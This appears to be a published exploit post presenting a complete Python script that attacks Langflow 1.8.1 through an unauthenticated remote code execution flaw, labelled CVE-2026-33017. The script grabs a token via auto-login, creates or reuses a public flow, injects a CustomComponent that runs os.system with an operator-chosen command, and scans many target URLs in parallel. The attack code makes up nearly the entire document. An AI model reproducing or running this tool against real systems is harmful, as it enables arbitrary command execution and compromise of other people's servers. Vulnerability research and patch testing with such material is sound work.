📄 Langflow 1.8.1 Remote Code Execution

==================================================================================================================================
    | # Title     : Langflow 1.8.1 Unauthenticated RCE poc Scanner                                                                   |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.langflow.org/                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    : This Python script is a multi-threaded tool targeting a suspected vulnerability in Langflow (≤ 1.8.1) that allows unauthenticated remote code execution through unsafe execution of CustomComponent code during flow compilation.
    
    [+] The tool automates the exploitation workflow by:
    
    Attempting to obtain an authentication token via an auto-login endpoint when available.
    Searching for or creating a public flow within the target instance.
    Injecting a malicious CustomComponent payload containing Python code that triggers OS command execution.
    Submitting a build request to the vulnerable endpoint and monitoring job execution events.
    Reporting whether the target is vulnerable based on build validation results.
    Supporting multi-target scanning with threading, optional cleanup of created flows, and configurable command execution.
    
    Overall, it is designed as an automated scanner to detect and demonstrate potential RCE impact in vulnerable Langflow deployments.
    
    [+] POC   :  
    
    #!/usr/bin/env python3
    
    import argparse
    import json
    import sys
    import threading
    import uuid
    from concurrent.futures import ThreadPoolExecutor, as_completed
    
    import requests
    
    _print_lock = threading.Lock()
    
    
    def log(target: str, msg: str) -> None:
        with _print_lock:
            print(f"[{target}] {msg}")
    
    
    def get_auth_token(base_url: str, timeout: int) -> str | None:
        try:
            resp = requests.get(f"{base_url}/api/v1/auto_login", timeout=timeout)
            if resp.status_code == 200:
                return resp.json().get("access_token")
        except (requests.RequestException, ValueError):
            pass
        return None
    
    
    def find_public_flow(base_url: str, token: str, timeout: int) -> tuple[str | None, str | None]:
        try:
            resp = requests.get(
                f"{base_url}/api/v1/flows/",
                headers={"Authorization": f"Bearer {token}"},
                timeout=timeout,
            )
            resp.raise_for_status()
            flows = resp.json()
            if not isinstance(flows, list):
                return None, None
            for flow in flows:
                if flow.get("access_type") == "PUBLIC":
                    return flow["id"], flow.get("name", "?")
        except (requests.RequestException, ValueError, KeyError):
            pass
        return None, None
    
    
    def create_public_flow(base_url: str, token: str, timeout: int) -> str:
        headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json",
        }
        body = {
            "name": f"lab-{uuid.uuid4().hex[:8]}",
            "data": {"nodes": [], "edges": [], "viewport": {}},
            "is_component": False,
            "access_type": "PUBLIC",
            "description": "CVE-2026-33017 lab flow",
        }
        resp = requests.post(f"{base_url}/api/v1/flows/", json=body, headers=headers, timeout=timeout)
        resp.raise_for_status()
    
        flow = resp.json()
        if not isinstance(flow, dict):
            raise ValueError(f"invalid response: {flow}")
    
        flow_id = flow.get("id")
        if not flow_id:
            raise ValueError(f"create_flow: no id in response: {flow}")
    
        if flow.get("access_type") != "PUBLIC":
            requests.patch(
                f"{base_url}/api/v1/flows/{flow_id}",
                json={"access_type": "PUBLIC"},
                headers=headers,
                timeout=timeout,
            ).raise_for_status()
    
        return flow_id
    
    
    def delete_flow(base_url: str, token: str, flow_id: str, timeout: int) -> None:
        try:
            requests.delete(
                f"{base_url}/api/v1/flows/{flow_id}",
                headers={"Authorization": f"Bearer {token}"},
                timeout=timeout,
            )
        except requests.RequestException:
            pass
    
    
    def build_exploit_payload(command: str) -> dict:
        malicious_code = f"""\
    from langflow.custom import Component
    from langflow.io import Output
    
    _r = __import__('os').system({repr(command)})
    
    
    class ExploitComponent(Component):
        display_name = "ExploitComponent"
        description  = "CVE-2026-33017 PoC"
        outputs = [Output(display_name="Result", name="output", method="run")]
    
        def run(self) -> str:
            return "ok"
    """
        node_id = str(uuid.uuid4())
        return {
            "data": {
                "nodes": [
                    {
                        "id": node_id,
                        "type": "genericNode",
                        "position": {"x": 0, "y": 0},
                        "data": {
                            "type": "CustomComponent",
                            "id": node_id,
                            "node": {
                                "template": {
                                    "_type": "CustomComponent",
                                    "code": {
                                        "value": malicious_code,
                                        "type": "code",
                                        "required": True,
                                        "show": True,
                                        "name": "code",
                                        "dynamic": False,
                                        "list": False,
                                        "multiline": True,
                                    },
                                },
                                "description": "poc",
                                "display_name": "ExploitComponent",
                                "custom_fields": {},
                                "output_types": ["str"],
                                "base_classes": ["str"],
                                "outputs": [
                                    {
                                        "display_name": "Result",
                                        "name": "output",
                                        "method": "run",
                                        "selected": "str",
                                        "types": ["str"],
                                        "value": "__UNDEFINED__",
                                    }
                                ],
                            },
                        },
                    }
                ],
                "edges": [],
                "viewport": {"x": 0, "y": 0, "zoom": 1},
            }
        }
    
    
    def _poll_job_result(base_url: str, job_id: str, client_id: str, token: str | None, timeout: int) -> bool:
        headers = {"Accept": "application/x-ndjson"}
        if token:
            headers["Authorization"] = f"Bearer {token}"
    
        try:
            with requests.get(
                f"{base_url}/api/v1/build/{job_id}/events",
                headers=headers,
                cookies={"client_id": client_id},
                stream=True,
                timeout=timeout,
            ) as r:
                for raw_line in r.iter_lines():
                    if not raw_line:
                        continue
                    if isinstance(raw_line, bytes):
                        raw_line = raw_line.decode("utf-8", errors="replace")
                    try:
                        evt = json.loads(raw_line)
                        if evt.get("event") == "end_vertex":
                            return bool(evt.get("data", {}).get("build_data", {}).get("valid"))
                    except json.JSONDecodeError:
                        pass
        except requests.RequestException:
            pass
        return False
    
    
    def send_exploit(base_url: str, flow_id: str, command: str, token: str | None, timeout: int) -> bool:
        payload   = build_exploit_payload(command)
        client_id = str(uuid.uuid4())
        endpoint  = f"{base_url}/api/v1/build_public_tmp/{flow_id}/flow"
    
        resp = requests.post(endpoint, json=payload, cookies={"client_id": client_id}, timeout=timeout)
    
        if resp.status_code == 403 and token:
            resp = requests.post(
                endpoint,
                json=payload,
                cookies={"client_id": client_id},
                headers={"Authorization": f"Bearer {token}"},
                timeout=timeout,
            )
    
        if resp.status_code not in (200, 201):
            return False
    
        try:
            data = resp.json()
        except ValueError:
            return False
    
        job_id = data.get("job_id")
        if not job_id:
            return False
    
        return _poll_job_result(base_url, job_id, client_id, token, timeout)
    
    
    def exploit_target(
        base_url: str,
        cmd: str,
        flow_id_arg: str | None,
        timeout: int,
        no_cleanup: bool,
    ) -> dict:
        def err(detail: str) -> dict:
            return {"url": base_url, "status": "ERROR", "detail": detail}
    
        token = get_auth_token(base_url, timeout)
        log(base_url, f"auth: {'JWT token obtained' if token else 'no token (scenario B)'}")
    
        flow_id      = flow_id_arg
        flow_created = False
    
        if flow_id:
            log(base_url, f"flow: provided via argument ({flow_id})")
        elif token:
            flow_id, flow_name = find_public_flow(base_url, token, timeout)
            if flow_id:
                log(base_url, f"flow: existing public flow — {flow_name} ({flow_id})")
            else:
                try:
                    flow_id      = create_public_flow(base_url, token, timeout)
                    flow_created = True
                    log(base_url, f"flow: created ({flow_id})")
                except (requests.RequestException, ValueError) as e:
                    log(base_url, f"flow: creation failed — {e}")
                    return err(f"create_flow: {e}")
        else:
            log(base_url, "no token and no --flow-id provided")
            return err("no token and no --flow-id provided")
    
        try:
            success = send_exploit(base_url, flow_id, cmd, token, timeout)
        except requests.RequestException as e:
            log(base_url, f"exploit: network error — {e}")
            return err(f"send_exploit: {e}")
        finally:
            if flow_created and not no_cleanup and token:
                delete_flow(base_url, token, flow_id, timeout)
                log(base_url, f"flow: deleted ({flow_id})")
    
        if success:
            log(base_url, "[+] VULNERABLE — RCE executed")
            return {"url": base_url, "status": "VULNERABLE", "detail": ""}
        else:
            log(base_url, "[-] FAILED — build invalide ou non confirmé")
            return {"url": base_url, "status": "FAILED", "detail": "invalid build"}
    
    
    def main() -> None:
        parser = argparse.ArgumentParser(
            description="CVE-2026-33017 — Langflow RCE PoC (educational / lab use only)",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog=__doc__,
        )
        parser.add_argument("--url",        default=None,         help="Single target Langflow URL")
        parser.add_argument("--url-file",   default=None,         help="Text file with one URL per line")
        parser.add_argument("--cmd",        default="id",         help="OS command to execute (default: id)")
        parser.add_argument("--flow-id",    default=None,         help="UUID of an existing public flow (optional)")
        parser.add_argument("--threads",    type=int, default=5,  help="Parallel threads (default: 5)")
        parser.add_argument("--timeout",    type=int, default=15, help="HTTP timeout in seconds (default: 15)")
        parser.add_argument("--no-cleanup", action="store_true",  help="Do not delete the created flow after exploitation")
        args = parser.parse_args()
    
        targets: list[str] = []
        if args.url:
            targets.append(args.url.rstrip("/"))
        if args.url_file:
            try:
                with open(args.url_file) as f:
                    for line in f:
                        line = line.strip()
                        if line and not line.startswith("#"):
                            targets.append(line.rstrip("/"))
            except OSError as e:
                print(f"[-] Cannot read {args.url_file}: {e}")
                sys.exit(1)
    
        if not targets:
            parser.error("Provide --url or --url-file")
    
        targets = list(dict.fromkeys(targets))
    
        print(f"\n{'='*60}")
        print(f"  CVE-2026-33017 — Langflow RCE PoC")
        print(f"{'='*60}")
        print(f"  Targets : {len(targets)}")
        print(f"  Command : {args.cmd}")
        print(f"  Threads : {args.threads}  |  Timeout : {args.timeout}s")
        print(f"{'='*60}\n")
    
        results: list[dict] = []
        with ThreadPoolExecutor(max_workers=args.threads) as pool:
            futures = {
                pool.submit(
                    exploit_target,
                    url, args.cmd,
                    args.flow_id, args.timeout, args.no_cleanup,
                ): url
                for url in targets
            }
            for future in as_completed(futures):
                try:
                    results.append(future.result())
                except Exception as e:
                    results.append({"url": futures[future], "status": "ERROR", "detail": str(e)})
    
        flags = {"VULNERABLE": "[+]", "FAILED": "[-]", "ERROR": "[!]"}
        col   = max(len(r["url"]) for r in results)
    
        print(f"\n{'='*60}")
        print(f"  SUMMARY")
        print(f"{'='*60}")
        for r in sorted(results, key=lambda x: x["status"]):
            flag   = flags.get(r["status"], "[ ]")
            detail = f"  {r['detail']}" if r["detail"] else ""
            print(f"  {flag} {r['url']:<{col}}  {r['status']}{detail}")
        print(f"{'='*60}")
    
        vuln_count = sum(1 for r in results if r["status"] == "VULNERABLE")
        print(f"\n  {vuln_count}/{len(results)} target(s) vulnerable\n")
    
    
    if __name__ == "__main__":
        main()
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================